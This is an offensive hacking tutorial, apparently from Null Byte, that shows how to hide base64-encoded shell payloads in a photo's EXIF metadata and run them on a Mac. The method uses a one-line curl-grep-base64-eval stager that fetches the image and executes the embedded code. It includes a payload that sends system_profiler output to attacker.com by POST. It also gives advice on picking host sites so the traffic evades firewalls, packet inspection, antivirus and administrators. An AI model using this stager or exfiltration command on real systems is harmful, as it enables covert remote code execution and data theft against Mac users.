Hacking macOS: How to Hide Payloads Inside Photo Metadata « Null Byte :: WonderHowTo

Complex shell scripts can be implanted into photo metadata and later used to exploit a MacBook. In addition to obfuscating the true nature of an attack, this technique can be used to evade network firewalls as well as vigilant sysadmins.In this attack scenario, a malicious command will be embedded directly into the EXIF metadata of an image file. The attacker would host the malicious image on a public website like Flickr, making it accessible for anyone to download. A stager will then be created to download the image, extract the metadata, and execute the embedded command.To be clear, double-clicking the image file will not cause the embedded command to execute. That's a different kind ofmacOS attack, something we'vecovered in another article. Instead, the command will be hidden in the metadata of the image and used as a payload delivery system.Thestagerandpayloadare two different aspects of the attack. The stager is designed to download the image and execute the embedded payload, while the payload is the final bit of code (embedded in the picture) designed to perform one or more commands.Don't Miss:How to Bypass Mojave's Elevated Privileges PromptWhy Embed Payloads into Images?So, why have a stager at all if the attacker is already in a position to execute code on the target MacBook? Well, primarily, varying degrees of active evasion. Also, stagers can be quite small, only ~100 characters long, making them quicker to execute with aUSB Rubber DuckyorMouseJack attack, for example.In most scenarios, hiding a payload inside an image file isn't required. In highly secure environments, however, whereevery domain is loggedby firewall software, it may be beneficial to conceal the contents and origin of the payload.1. Firewall EvasionWith software likepfSense, every domain and IP address visited by each device on the network is logged. With commercial software likeFortinet's FortiGate firewall, each packet can be thoroughly dissected for analysis. These kinds of firewalls make it difficult for an attacker using simple TCP connections established withNetcatto persist on the compromised device or covertly map the network.The usage of images to conceal payloads can make it difficult for sysadmins monitoring traffic to identify the activity as malicious or suspicious.2. Deep Packet Inspection EvasionIn secured environments, operating systems may be configured to use customcertificates, which make it possible for network administrators to decrypt data going to and a from devices on the network. With tools likeWireshark, it's possible to compile TCP streams andrecreate image files using the raw captured data.3. Antivirus EvasionPremium versions ofAvastandAVGantivirus software may analyze and detect certain kinds of stagers and payloads. For example, AV software can identify most stagers created byEmpire. With hardened network environments, it may require a high degree of obfuscation toevade detection signatures. Utilizing stagers can make it difficult for AV software to detect the true nature of a particular file.Don't Miss:How to Create an Undetectable Payload for macOSTools to Be Familiar WithBefore going forward, you should should have a general comfort with tools likecurl,system_profiler,exiftool,grep, andBashscripting before proceeding. All of these topics have been covered on Null Byte before at some point in some way.Step 1: Download an ImageTo get started, download the image that will be used in the attack. The stager (shown in a later step) won't actually save the image to the target's computer, so it doesn't have to be an image of anything particularly relevant. For demonstration purposes, we can usemy Twitter profile picture, which can be downloaded usingwgetand saved (-O) to the /tmp directory.~$ wget 'https://pbs.twimg.com/profile_images/944123132478189568/tgQESxWF_400x400.jpg' -O image.jpg

--2019-05-15 06:50:22--  https://pbs.twimg.com/profile_images/944123132478189568/tgQESxWF_400x400.jpg
Resolving pbs.twimg.com (pbs.twimg.com)... 72.21.91.70, 2606:2800:220:1410:489:141e:20bb:12f6
Connecting to pbs.twimg.com (pbs.twimg.com)|72.21.91.70|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19316 (19K) [image/jpeg]
Saving to: ‘image.jpg’

image.jpg                100%[=================================>]  18.86K  64.4KB/s    in 0.3s

2019-05-02 06:50:25 (64.4 KB/s) - ‘image.jpg’ saved [19316/19316]Step 2: Generate the PayloadFor this example, we'll first learn to execute a straightforwardtouchcommand. When the stager executes the payload embedded in the image, it will create an empty file on the macOS desktop called "hacked."First, useprintf,base64, andtrto encode the payload. Base64 will encode the string, while tr will delete (-d) newlines (\n). You should always enclose the payload (touch ~/Desktop/hacked) in single-quotes.~$ printf 'touch ~/Desktop/hacked' | base64 | tr -d '\n'

dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA==A more complex payload, which involves macOS'ssystem_profilercommand, can be used to performsituational awarenessattacks as well ascurl to exfiltrate the command's outputto the attacker's server.~$ printf 'd=$(system_profiler SPFirewallDataType);curl -s --data "$d" -X POST http://attacker.com/index.php' | base64 | tr -d '\n'

ZD0kKHN5c3RlbV9wcm9maWxlciBTUEZpcmV3YWxsRGF0YVR5cGUpO2N1cmwgLXMgLS1kYXRhICIkZCIgLVggUE9TVCBodHRwOi8vYXR0YWNrZXIuY29tL2luZGV4LnBocA==Taking it a step further, it would be possible to encode an entire Bash script that has been compressed into one line. In my tests, there seemed to beno limitation to how many characters can be embeddedinto a metadata tag.~$ cat /path/to/any_script.sh | base64 | tr -d '\n'

ZnVuY3Rpb24gZXhlY19oYWNrKCkgeyAvdXNyL2Jpbi90b3VjaCB+L0Rlc2t0b3AvaGFja2VkOyB9O2V4ZWNfaGFjawo=Step 3: Embed the Payload into the ImageTo embed the encoded payload into the image, installexiftool.~$ apt-get update && apt-get install exiftool -V

Reading package lists... Done
Building dependency tree
Reading state information... Done
Note, selecting 'libimage-exiftool-perl' instead of 'exiftool'
The following NEW packages will be installed:
   libarchive-zip-perl (1.64-1)
   libimage-exiftool-perl (11.16-1)
   libmime-charset-perl (1.012.2-1)
   libposix-strptime-perl (0.13-1+b5)
   libsombok3 (2.4.0-2)
   libunicode-linebreak-perl (0.0.20190101-1)
0 upgraded, 6 newly installed, 0 to remove and 0 not upgraded.
Need to get 3,629 kB of archives.
After this operation, 21.0 MB of additional disk space will be used.
Do you want to continue? [Y/n]Then, clear any and all EXIF metadata that may be in the image.~$ exiftool -all= image.jpg
  1 image files updatedThen, useexiftoolto add a metadata tag — it will work with any available tag — containing the encoded payload. TheCertificatetag is used in this demonstration.~$ exiftool -Certificate='dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA==' image.jpg
  1 image files updatedWhen that's done, verify the Certificate tag was properly added with the followingexiftoolcommand. Notice the encoded string on line 13.~$ exiftool image.jpg

01  ExifTool Version Number         : 11.16
02  File Name                       : image.jpg
03  Directory                       : .
04  File Size                       : 21 kB
05  File Modification Date/Time     : 2019:05:02 06:50:57+00:00
06  File Access Date/Time           : 2019:05:02 06:50:57+00:00
07  File Inode Change Date/Time     : 2019:05:02 06:50:57+00:00
08  File Permissions                : rw-r--r--
09  File Type                       : JPEG
10  File Type Extension             : jpg
11  MIME Type                       : image/jpeg
12  XMP Toolkit                     : Image::ExifTool 11.16
13  Certificate                     : dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA==
14  Image Width                     : 400
15  Image Height                    : 400
16  Encoding Process                : Progressive DCT, Huffman coding
17  Bits Per Sample                 : 8
18  Color Components                : 3
19  Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
20  Image Size                      : 400x400
21  Megapixels                      : 0.160Step 4: Upload the Image to a WebsiteFinding a suitable website is tricky. The criteria for this is severalfold.Avoid EXIF Data SanitizationMany popular websites like Twitter, Imgur, and Instagram automatically wipe metadata from images when uploaded, which is done primarily to protect users from accidentally uploading photos containing GPS coordinates that would allow cyberstalkers and cyberbullies to harass and find those users.Images containing payloads would be wiped when uploaded to mainstream websites. The candidate website would have to be manually tested by first uploading the image, then downloading it, and using exiftool to see if the embedded payload is still intact.Website EncryptionTransport layer security is essential to further obfuscating this attack. The website used to host the image should use HTTPS, which will help in preventing sysadmins from analyzing the GET request with surgical precision.Web Traffic IrregularitiesIdeally, the website used in the attack would be one visited by the target regularly. For example, if the target visited a particular news website every morning, a visit to this domain wouldn't appear suspicious to sysadmins monitoring traffic on the network. On the other hand, an unusual GET request to a foreign website or adult website will probably raise some red flags. This kind of information can be enumerated during the reconnaissance phase with covert packet captures. The key is to make the traffic look as ordinary to the target's web behavior as possible.Step 5: Generate the StagerIn my quick attempts to extract metadata from images usingnative macOS tools, none seemed capable of accessing or displaying the particular string ("Certificate") of EXIF metadata embedded in the image. Fortunately,grephas an-aoption which allows it to process binary files (i.e., images) as if they were plaintext, allowing it to find the "Certificate" string in the metadata.Below is an example stager that can be used to download images, extract and decode payloads, then execute the command(s).~$ p=$(curl -s https://website.com/image.jpg | grep Cert -a | sed 's/<[^>]*>//g' | base64 -D);eval $pThere are a few things happening here, so I'll break down each section of the stager.p=$(...)— Most of the stager is enclosed in a variable called "p" (akapayload), done primarily to keep the image from being saved directly to the target's macOS hard drive.curl -s https://website.com/image.jpg— Curl is used here to silently (-s) download the image containing the payload from a website of the attacker's choosing. The image is immediately piped (|) into the following grep command.grep Cert -a— Grep will take the raw image data, process it as a plaintext (-a) while searching for the "Cert" string. That output would appear in a terminal as shown below.sed 's/<[^>]*>//g'— The above output is immediately piped into this sed command. Sed will remove all surrounding XML data (i.e., <xmpRights></xmpRights>), leaving only the encoded string.base64 -D— The encoded string is piped into this base64 command where it's decoded with the -D option, ultimately, making the $p variable the decoded payload.eval $p— Finally, eval is used to evaluate the variable as a command, effectively executing the payload in its variable form.We can verify the attack was successfully executed by finding the "hacked" file on the macOS desktop.Again, this is a very simple payload. More sophisticated attacks may involve automatedbrowser password dumping,microphone eavesdropping,situational awareness enumeration,privilege escalation,sudo password exfiltration, andso on.Don't Miss:Getting Started with Hacking macOSThat's all there is to concealing payloads inside image metadata. Stay tuned, because I'll be showing how to exfiltrate data inside images — without the use of metadata tags — in a future article! Message me on Twitter@tokyoneon_if you have any questions, or leave a comment below.Don't Miss:Connect to a Backdoored MacBook from Anywhere in the WorldFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by tokyoneon/Null ByteRelatedHow To:Obtain Valuable Data from Images Using Exif ExtractorsHow To:Export Your Original Images, Live Photo Videos & Metadata in Apple Photos for MacHow To:Hack MacOS with Digispark Ducky Script PayloadsHacking macOS:How to Create an Undetectable PayloadHow To:7 Privacy Tips for Photos & Videos on Your iPhoneHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierHow To:Steal macOS Files with the USB Rubber DuckyHacking macOS:How to Bypass the LuLu Firewall with Google Chrome DependenciesHacking macOS:How to Hack Mojave 10.14 with a Self-Destructing PayloadHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Completely Remove Your Hidden Personal Information from Digital PhotosHacking macOS:How to Hack a MacBook with One Ruby CommandHow To:Everything You Should Do Before Posting Protest Photos & Videos on Social MediaHow To:Change This Privacy Setting Before You Share Any Pictures on Google PhotosApple Photos 101:How to Hide Images & Videos from Your iPhone's Camera RollHow To:Stop Your iPhone Photos from Broadcasting Your Location to OthersHow To:The Ultimate Guide to Hacking macOSHow To:Dump a MacOS User's Chrome Passwords with EvilOSXHow To:Modify the USB Rubber Ducky with Custom FirmwareHow To:Hack Anyone's Wi-Fi Password Using a Birthday Card, Part 2 (Executing the Attack)How To:Easily Bypass macOS High Sierra's Login Screen & Get Root (No Password Hacking Required)How to Hack with Arduino:Defeat VPNs & Track a MacOS Computer RemotelyHow To:Remove Yourself from a Tagged Photo on InstagramHack Like a Pro:How to Extract Metadata from Websites Using FOCA for WindowsHacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)How To:Remove Location Data from Photos & Videos You Share in iOS 13 to Keep Your Whereabouts PrivateHow To:Hide Contact Photos from Your Apple Messages List & Conversations to Declutter the InterfaceHacking macOS:How to Steal Signal Conversations from a MacBook with a USB Rubber DuckyHow To:Scrub the EXIF Data from Photos on Your Android Phone Before Sharing ThemHacking macOS:How to Bypass Mojave's Elevated Privileges Prompt by Pretending to Be a Trusted AppNews:'Messages in iCloud' Finally Available for Macs, Not Just iOS DevicesHacking macOS:How to Configure a Backdoor on Anyone's MacBookHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Hide Your WhatsApp Profile Photo So Other Users Can't See ItHow To:Edit metadata in ApertureHacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)How To:Load & Use Keystroke Injection Payloads on the USB Rubber Ducky